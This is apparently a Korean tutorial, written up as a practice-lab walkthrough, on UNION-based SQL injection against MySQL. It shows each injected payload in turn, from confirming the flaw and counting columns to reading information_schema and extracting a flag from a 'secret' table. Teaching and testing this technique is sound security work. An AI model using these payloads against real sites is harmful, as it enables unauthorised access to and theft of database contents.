
1) UNION 기반 SQL Injection 이란?
Union Based SQL Injection: 데이터베이스로 질의한 SQL 쿼리의 결과가 HTTP 응답에 표시되는 경우, 이 SQL 쿼리를 조작하여 공격자가 원하는 데이터베이스 구조 혹은 데이터를 표시되게 하는 공격 기법
2) UNION 기반 SQL Injection 동작원리
UNION 기반 SQL Injection은 이름에서 알 수 있듯이 SQL의 UNION 또는 UNION ALL 구문을 이용한다.
UNION (ALL)은 두 개의 SQL 쿼리 결과를 하나로 통합해주는 기능을 한다.
mysql> SELECT 1,2 UNION SELECT 'a','b';
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
| a | b |
+---+---+
개발자가 작성한 원래의 SQL 쿼리에 UNION을 통해 공격자의 SQL쿼리를 통합하고,
원래 SQL 쿼리를 무효화시킴으로써 결과적으로 공격자의 쿼리에서만 유효한 데이터를 표시하게 되는 것이다.
MySQL 데이터베이스 환경에서 UNION 기반의 SQL Injection 취약점을 테스트하기 위해서는 다음 8가지의 프로세스를 거친다.
1) SQL 쿼리 추측
▷ 파라미터를 넣어보며 SQL 쿼리를 추측한다.
| (1) 테스트 페이지는 다음과 같다. | (2) 게임이름을 검색하면 정보가 출력된다. |
|---|---|
![]() | ![]() |
위의 결과를 보았을때, SQL 쿼리를 다음과 같이 추측해볼 수 있다.
select * from (테이블) where name = '게임이름';
그런데, 일부 이름만 검색해도 똑같이 정보가 출력되는 것을 볼 수 있다.
| 'over' 만 검색 | 'AW' 만 검색 |
|---|---|
![]() | ![]() |
따라서 SQL 쿼리를 다시 추측해볼 수 있다.
select * from (테이블) where name like '%게임이름%';
2) SQL Injection 취약점 확인
▷ 참조건 / 거짓조건을 추가하여 결과가 다른것을 확인함으로써, SQL Injection 취약점이 존재하는지 확인한다.
| and 1=1 (참조건) 으로 파라미터 전달 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select from (테이블) where name like '%over%' and '1%'='1%' 쿼리 재구성: select from (테이블) where (name like '%over%') and ('1%'='1%') |
| and 1=2 (거짓 조건) 으로 파라미터 전달 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select from (테이블) where name like '%over%' and '1%'='2%' 쿼리 재구성: select from (테이블) where (name like '%over%') and ('1%'='2%') |
참조건에서 over%' and '1%'='1 이라는 이름이 들어가는 게임은 존재하지 않음에도 불구하고 그 결과가 출력되며, 거짓조건으로 전달하게 되면 그 결과가 출력되지 않는다.
따라서 현재 AND 구문이 연산되고 있으며 즉, SQL Injection 취약점이 존재한다는 것을 확인할 수 있다.
3) 컬럼 개수 찾기
▷ UNION 구문을 사용하기 위해서는 선행되는 select 문과, 통합되는 select 문의 컬럼 개수가 일치해야 한다.
따라서 order by 구문을 통해 선행되는 select 절의 컬럼개수를 찾아낸다.
| order by 3 | order by 4 | SQL 쿼리 |
|---|---|---|
![]() | ![]() | 완성되는 쿼리: select from (테이블) where name like '%over%' order by 3#%' 쿼리 재구성: select from (테이블) where (name like '%over%') order by 3 |
| order by 5 (5번째 인덱스의 컬럼을 기준으로 정렬) | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select from (테이블) where name like '%over%' order by 5#%' 쿼리 재구성: select from (테이블) where (name like '%over%') order by 5 |
order by 1~4 를 실행하였을때는 결과가 정상 출력되었고, order by 5 부터는 오류가 발생하였다.
따라서 인덱스 5번째의 컬럼은 존재하지 않으며, 이를 통해 선행되는 select 절의 컬럼 개수가 4개인 것을 알 수 있다.
4) 데이터 출력위치 찾기
▷ 앞서 찾은 컬럼의 개수는 4개인데, 화면상에서는 3개의 컬럼(name, score, production) 만이 보인다.
따라서 UNION 연산을 통해 어떤 컬럼이 화면에 출력되는지 확인한다.
| UNION을 통해 데이터 추가 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%over%' union select 1, 2, 3, '4%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%over%') union select 1, 2, 3, '4%' |
그 결과로 2, 3, 4%는 출력되지만, 1은 보이지 않는다.
따라서 1번 인덱스의 컬럼은 사용할 수 없다고 판단할 수 있다. (∵ 화면에 보이지 않기 때문)
이제 나머지 2, 3, 4% 자리 중 아무곳이나 원하는 데이터가 출력되도록 해주기만 하면 된다.
5) 데이터베이스 이름 찾기
▷ 결과 값이 보여지는 자리에 데이터베이스 이름이 출력되도록 한다.
데이터 베이스의 이름을 출력하는 명령은 다음과 같다.
select database()
| 2번자리에 데이터베이스 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select 1, database(), 3, '4%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select 1, database(), 3, '4%' |
이로써 2번 자리에 출력된 데이터베이스 이름 (segfault_sql)을 찾아내었다.
6) 테이블 이름 찾기
▷ 결과 값이 보여지는 자리에 테이블 이름이 출력되도록 한다.
테이블의 이름을 출력하는 명령은 다음과 같다.
select table_name from information_schema.tables where table_schema='DB이름'
//INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다
| 2번자리에 테이블 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select 1, table_name, 3, 4 from information_schema.tables where table_schema='segfault_sql'#%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select 1, table_name, 3, 4 from (information_schema.tables) where (table_schema='segfault_sql') |
이로써 2번 자리에 출력된 테이블 이름 (game, member, secret, secret_member)을 찾아내었다.
7) 컬럼 이름 찾기
▷ 결과 값이 보여지는 자리에 컬럼 이름이 출력되도록 한다.
컬럼 이름을 출력하는 명령은 다음과 같다.
select column_name from information_schema.columns where table_name='테이블 이름'
| 2번자리에 컬럼 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select 1, column_name, 3, 4 from information_schema.columns where table_name='secret'#%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select 1, column_name, 3, 4 from (information_schema.columns) where (table_name='secret') |
이로써 2번 자리에 출력된 secret 테이블의 컬럼 이름 (idx, secret)을 찾아내었다.
8) 데이터 추출
▷ 테이블명과 컬럼명을 모두 알아냈으므로, 원하는 데이터를 추출한다.
select (컬럼) from (테이블)
| 2번자리에 데이터 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select 1, secret, 3, 4 from secret #%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select 1, secret, 3, 4 from secret |
이로써 2번 자리에 출력된 플래그를 찾아내었다.